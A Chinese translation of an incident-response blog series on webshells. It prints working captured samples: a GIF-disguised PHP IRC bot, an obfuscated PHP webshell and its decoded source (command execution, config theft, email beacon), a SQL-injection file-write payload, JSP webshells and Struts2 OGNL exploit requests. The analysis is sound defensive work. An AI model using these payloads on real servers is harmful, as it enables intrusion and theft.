Webshell-Part1&Part2

wyzsk發表於2020-08-19
作者: virustracker · 2016/02/01 11:25

原文連結:
https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/
https://dfir.it/blog/2016/01/18/webshells-every-time-the-same-story-dot-dot-dot-part2/

0x00 前言


眾所周知,每時每刻,世界上的web伺服器都在遭到成千上萬次惡意請求的攻擊,攻擊形式也是各有不同。今天,我研究的就是其中的一類:webshell。

由於網際網路特性的影響,這種型別的攻擊活動真的越來越普遍。數百億的web伺服器都有可能淪為攻擊者的攻擊物件。假如你是一名駭客並且明白web伺服器對於企業的意義,我相信,你更不會放過這些伺服器的。

0x01 簡介-測試開始前


經過多年的發展,網際網路有了翻天覆地的變化。web伺服器的功能不再侷限於簡單的呈現個人網站或商業網站。像JavaScript,PHP,Python和Ruby這樣的開發語言已經在商業應用,線上商城,網上娛樂,部落格等應用方式中扮演了極為重要的角色。由於這些應用方式更多的會使用現成的解決方案,所以也導致了大量的漏洞。誰沒有聽說過Wordpress或phpBB漏洞利用呢?這類常用的web應用已經成為了攻擊者建立殭屍網路或傳播木馬的主要目標。當出現新的0-day漏洞時,攻擊者就會利用這些漏洞,大規模的入侵受害者的機器。他們首先會做的是透過批次掃描來查詢漏洞。有些攻擊者則會瞄準web伺服器,因為web伺服器可以說是進入一些內部基礎設施的大門。

0x02 第一幕


我會透過三個例子來說明如何繞過安全措施,成功把webshell上傳到目標系統上-包括RFI(遠端檔案包含漏洞)和SQL命令注入。

在常用的檔案格式中隱藏webshell程式碼

下面這個日誌嘗試利用RFI漏洞來執行程式碼。

#!bash
Path:
GET /B=1&From=remotelogi‌n.php&L=hebrew&Last‌Check=http://sxxxxxxo.no/byroe.jpg??
Source IP: 185.X.X.53
GEO: MADRID ES , Onestic_Innovacion_y_Desarrollo_SL , singularcomputer.es

許多駭客會透過在(惡意)URL中新增來傳送RFI漏洞指令碼和攻擊載荷,這樣做是為了避免開發者提供的字串會造成問題。這種在URL中新增字元的做法與SQL隱碼攻擊很相似,只是SQL隱碼攻擊是在有效載荷的末尾新增註釋說明符(--, ;-- 或 #)。

攻擊者會嘗試讓web應用從遠端伺服器中載入一個JPG檔案。但是,載入的真的是一個JPG影像嗎?請仔細看:

#!bash
0000000: 4749 4638 3961 013f 013f 3f3f 3f3f 3f3f  GIF89a.?.???????
0000010: 3f3f 3f21 3f04 013f 3f3f 3f2c 3f3f 3f3f  ???!?..????,????
0000020: 013f 013f 3f44 013f 3b3f 3c3f 0d0a 0d0a  .?.??D.?;?<?....
0000030: 7365 745f 7469 6d65 5f6c 696d 6974 2830  set_time_limit(0
0000040: 293b 200d 0a65 7272 6f72 5f72 6570 6f72  ); ..error_repor
0000050: 7469 6e67 2830 293b 200d 0a0d 0a63 6c61  ting(0); ....cla

從上面可以看出,這根本不是影像檔案-但是,這個檔案中的確包含一個有效的GIF標頭。Trustwave寫了一篇部落格詳細的說明了攻擊者可以透過哪些方式把惡意程式碼隱藏到影像檔案中。接下來,我們先分析PHP程式碼的開頭部分:

#!php
GIF89a^A?^A??????????!?^D^A????,????^A?^A??D^A?;?<?

set_time_limit(0);
error_reporting(0);

class pBot
{
var $config = array("server"=>"irc.malink.biz",
                  "port"=>"6667",
                  "pass"=>"on", //senha do server
                  "prefix"=>"MalinK-",
                  "maxrand"=>3,
                  "chan"=>"#maza",
                  "key"=>"on", //senha do canal
                  "modes"=>"+p",
                  "password"=>"on",  //senha do bot
                  "trigger"=>".",
                  "hostauth"=>"Tukang.sapu " // * for any hostname
                  );
var $users = array();
function start()
{
...

pBot類定義了一個陣列,在這個陣列中包含有完整的配置資訊。或許,你也注意到了server和port欄位,這些欄位提供了與CC相關的資訊。在我們檢查irc.malink.biz之前,我想先調查malink.biz域名。透過Passivetotal服務,我們可以看到這個域名的歷史記錄和Whois資訊。

p1

域名資訊和所有者資料顯示這個域名的主人來自美國?這樣的結果符合你對這個可疑域名的預期嗎?或許下面的資訊能給我們答案...

p2

nothingsecure…OK,這就看起來比較符合邏輯了。IRC提供的資訊清楚地顯示了這個域名的意圖:

p3

接下來,我們看看irc.malink.biz。

#!bash
irc.malink.biz.       14384    IN    A    195.30.107.222
irc.malink.biz.       14384    IN    A    109.74.203.175
irc.malink.biz.       14384    IN    A    167.114.67.197
irc.malink.biz.       14384    IN    A    167.114.68.120

他們非常關心故障轉移;

總的來說,位於巴黎的伺服器接收到一條從馬德里發來的請求,這條請求要求訪問域名sxxxxxxo.no(哥倫布俄亥俄州),並從這個域名上下載一個內嵌了webshell的檔案byroe.jpg。在這個檔案中,我們發現了一個IRC伺服器irc.malink.biz,這個伺服器解析到了多個IP上-使用輪詢(round-robin)模式來載入剩餘的DNS記錄(德國,英國,加拿大)。

p4

看起來像什麼?

Virustotal的AV檢測率還不錯。目前來說,分析的第一步,最好不要向VT上傳任何檔案。首先從OSINT入手。比如,在上傳檔案之前,首先檢查VT資料庫中有沒有這個檔案的雜湊。在分享惡意檔案時(注意,VT資料庫是公開的)很可能就會引起攻擊者的注意,而攻擊者就有機會採取應對措施了。

p5

p6

攻擊者不僅僅會利用影像檔案來繞過WAF。

使用程式碼混淆隱藏webshell

攻擊者可能會透過編碼和壓縮惡意程式碼的方式來隱藏其意圖。這種方法可以繞過WAF的過濾器和簽名。

下面是另一起EFI攻擊:

#!bash
Path: GET /src=http%3A%2F%2Fim‌g.youtube.com.vxxxxxxxd.org%2Fmyluph.php
Source IP: 93.X.X.206
CEO: AMSTERDAM NL , Digital_Residence_B.V. , curhosting.com

可疑檔案的內容:

#!php
<?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>

這是一個典型的經過混淆的PHP程式碼。eval()函式會負責執行這個程式碼,但是,在此之前,首先需要:

  • 解碼base64
  • ROT13
  • 解壓

這裡還有另外一種更復雜的版本。想一下,使用與前面相同的函式,但是使用多層混淆程式碼。要想獲取到原始程式碼,需要不斷地解碼,這樣的話,PHP直譯器就不好用了。為了避免你遇到這種情況,我建議你使用phpdecoder。

下面是去混淆後的程式碼:

#!php
error_reporting(0);
if (!isset($_SESSION['bajak']))    {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-pomo.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>bogel - exploit</title><br>";
echo "<font size=3 color=#FFF5EE>Ketika Sahabat Jadi Bangsat !<br>";
echo "<font size=3 color=#FFF5EE>Server : irc.blackunix.us 7000<br>";
echo "<font size=3 color=#FFF5EE>Status : sCanneR ON<br><br>";
echo "<font size=2 color=#FF0000><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#FF0000><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#FF0000><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#FF0000><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="eXcute"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#FF0000><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#FF0000><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['smtp'])){
$smtp = file_get_contents("../../wp-config.php");
echo $smtp;
}
else { echo "<pre><font size=3 color=#FFF5EE>".shell_exec('ls -la')."</font></pre>"; }
echo "<center><font size=4 color=#FFF5EE>Jayalah <font size=4 color=#FF0000>INDO<font size=4 color=white>NESIA <font size=4 color=#FFF5EE>Ku</center>";
?>
<link REL="SHORTCUT ICON" HREF="http://www.forum.romanisti-indonesia.com/Smileys/default/b_indonesia.gif"></link><body bgcolor="#000000"></body>

第一部分程式碼正在負責向setoran404@gmail.com傳送與感染活動相關的確認郵件。隨後的這段程式碼會負責在被感染系統上執行命令,並列印頁面上的輸出。下面是從網路上找到的“生成”樣本:

p7

你可以看到,攻擊者上傳了幾個“外掛”,比如Mailer-1.php,Mailer-2.php,1337w0rm.php

我又看了看VirusTotal的AV檢測率:

p8

p9

這次不好,大部分AV引擎都無法識別出這個可疑檔案。

使用SQL隱碼攻擊投放webshell

仔細觀察下面的例子:

#!sql
UNION SELECT NULL,"<? system($_REQUEST['cmd']); ?>", NULL INTO OUTFILE "/var/www/webshell.php" --

首先,攻擊者需要一個SQL隱碼攻擊漏洞。接下來,專門設計一個請求來注入伺服器上儲存的PHP程式碼。

解釋:

#!php
<? system($_REQUEST['cmd']); ?>

這是一個很簡單的webshell,其作用是執行web伺服器上的命令。取決於不同的SQL隱碼攻擊漏洞,攻擊者需要把漏洞放置到合適的位置。在這個例子中,表中有三欄,程式碼需要放在第二欄中,其他的都設定成NULL。

#!sql
INTO OUTFILE

這條SQL命令允許攻擊者把webshell程式碼寫入任意檔案中。

#!bash
"/var/www/webshell.php"

這是webshell的儲存路徑。很重要的一點是,攻擊者需要在伺服器上找到具有寫入許可權的目錄,比如,臨時資料夾。除此之外,攻擊者還需要想辦法強制應用執行這個webshell指令碼。在這個例子中,可以透過LFI來實現。下面的案例就包括了所有上述的依賴項。

在執行了SQL查詢後,webshell檔案就會被建立。現在,攻擊者就可以與webshell互動了,透過簡單的傳送一個HTTP GET請求並定義下面的URL:

#!bash
http://www.vulnerablesite.com/webshell.php?cmd=ls

伺服器會返回/var/www的目錄列表。

p10

最後,看看VirusTotal怎麼查詢這個只有一行的wenshell。

p11

很好的隱藏了;

如果你還想再瞭解一些知識,可以閱讀greensql上的文章,或看看Youtube上的影片

透過上面的三個例子,我們只是簡單瞭解了webshell相關的內容。要想在遠端伺服器上執行任意程式碼,並與OS互動,還有其他很多可以利用的方式。在下一部分中,我會透過一個例子來說明webshell對於企業基礎設施有多麼大的危害,並介紹相關的防禦方法。

0x03 第二幕-前言


我們已經說過,每時每刻,世界上大量的駭客正在試圖利用各種漏洞。攻擊者會透過不同的混淆方式或隱匿技術來投放有效載荷,並透過安裝webshell來搶佔第一據點。不過,對於防禦者而言,還有更大的難題,因為有些目的明確的攻擊者會執行網路間諜活動,但是他們的行動更難發現,並且更有針對性。

0x04 第二幕


下面的這個案例分析引發了我們對基礎安全控制,風險和各方責任的廣泛討論。你們當中有很多人可能都經歷過漏洞攻擊,系統篡改等問題。先把這些問題放到一邊,今天,我們討論的主題是-針對性攻擊中的webshell使用。

在調查過程中,最關鍵的一部分就是找到攻擊者的切入點。有一次,運維小組報告了一起影響了大量web伺服器的事件,在這次攻擊中,我發現攻擊者綜合利用了自定義後門,rootkit和密碼轉儲工具(注意:沒有在本文中討論)。

p12

透過分析多臺機器上遺留下來的木馬工具和感染活動發生的時間,我們找到了安裝了第一個木馬樣本的可疑伺服器。唯一的問題是,這個人是怎麼在內部web伺服器上植入第一個惡意檔案的呢?事實上,這個木馬是用一個應用伺服器的服務賬戶執行的,壞訊息是這個賬戶還有管理員許可權。

我們從哪裡入手

我從來沒有為執法部門工作過,我也不知道當時有什麼人能夠收集到必須的資訊。或許,透過審訊手段能夠做到。無論如何,要想調查成功,你需要獲取大量的資訊,以便對系統,基礎設施,商業過程有全面的瞭解。透過分析可用的資料,能夠證實資訊的真實性。但是,當你知道伺服器中存在著數十個商業應用,上千條程式碼時,你又該從何入手呢?這時,你需要根據應用的功能,可用性和暴漏程度來考慮對各個應用的重視程度。

在討論應用的功能時,一名OPS成員使用了Magic word來觸發警報:

  • “這個伺服器上的應用支援內網使用者,並且只能在內部網路中使用。”
  • “只有在內網中才能訪問這些應用。”
  • “不在這個伺服器上。”
  • “這個伺服器?那麼其他伺服器呢?”
  • “某些應用是從中心內部儲存中掛載的,可以是內部儲存,也可以是DMZ伺服器。”

我們要分析一些應用日誌嗎?

Tomcat應用伺服器在作為windows服務安裝時,會把來自web應用的資訊記錄到stdout.log。和大多數標準的輸出日誌一樣,你可以從應用轉儲中看到大量的活動痕跡。但是,在研究了無數的Java資訊後,下面這條引起了我的注意:

#!bash
org.apache.jasper.JasperException: 在處理 JSP頁面時出現了錯誤 /images/abc.jsp at line 5

2: <%
3: try {
4: String cmd = request.getParameter("cmd");
5: Process child = Runtime.getRuntime().exec(cmd);

在快速研究了這些錯誤後,我又發現了另外一些有趣的檔案:

#!bash
org.apache.jasper.JasperException: 無法編譯JSP 
JSP檔案的第一行發生了一個錯誤: /images/test/bb.jsp
左邊必須是一個變數 
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\".write(request.getParameter("t").getBytes());%>

如果第一個錯誤資訊還不夠有說服力,後面的錯誤資訊顯示有人在嘗試寫入一個檔案,這個檔案似乎是一個非常小,但是非常強大的webshell。這時候我們可以看看這個檔案到底有什麼用:

#!js
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();

這個簡單的伺服器端程式會透過cmd引數接收一條命令,嘗試在系統上執行這條命令,並返回命令輸出。如果你想要控制受害者的裝置,你就離不開這個程式。

“讓我猜一猜”,我的一名朋友在處理資料和問題時經常會說這句話。我也經常這樣問我自己,但是,當時沒有人能回答這個問題。應用日誌表明有人在中央儲存中投放了webshell,但是,我們還不清楚是怎樣做到的。不幸的是,遺留下來的日誌並不完整,還有一些日誌丟失了。幸運的是,我知道是哪個應用把webshell儲存在了這個目錄中,所以我可以專注於特定的web應用流量。我們要不要分析一些web伺服器日誌呢?

在瀏覽整個日誌時,下面的專案引起了我的注意。似乎這個應用被強制執行了系統命令來檢視網路配置:

#!bash
GET <AppURL>redirectAction:%25{
  (new+java.io.BufferReader(new+java.io.InputStreamReader((new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ipconfig’}.start()).getInputStream())))).readline()}

在查詢所有redirectAction例項的日誌時,我們發現了另外的一些資料:

#!bash
ET <AppURL>redirectAction:%25
{(new+java.io.BufferedWriter(new+java.io.FileWriter(new+java.io.File(“1.jsp”)).append(req.getParameter(“e”)).close()}&e=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\")).write(request.getParameter("t").getBytes());%>

這個日誌顯示,正在嘗試將前面提到的webshell寫入共享應用資料夾中。透過谷歌搜尋和測試,我們發現這個HTTP請求會嘗試利用一個已知的Struts 2 漏洞CVE-2013-2135。透過這起活動的時間戳再結合分析伺服器上木馬工具的時間戳,我們找到了第一個入侵點。

一張圖能說明很多問題:

p13

0x05 總結


這個故事的寓意很簡單。那些思維縝密的攻擊者經常會在攻擊活動的不同階段來利用webshell這個武器,無論是剛開始入侵受害者的裝置,還是要維持木馬的存在。更重要的是,防禦者和事件響應人員並不是隨時都有分析資料。訪問日誌可能已經被覆蓋了,但是每次攻擊都會在系統上遺留一些工具。應用日誌中都會記錄下這些資訊,而且人都會犯錯的。

Mandiant記錄了幾個月前利用Struts2漏洞實施的webshell攻擊活動。CrowdStrike分享了一篇關於HURRICANE PANDA 和 DEEP PANDA的文章,這兩次行動利用了China Chopper webshell。這些文章都很值得一讀。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!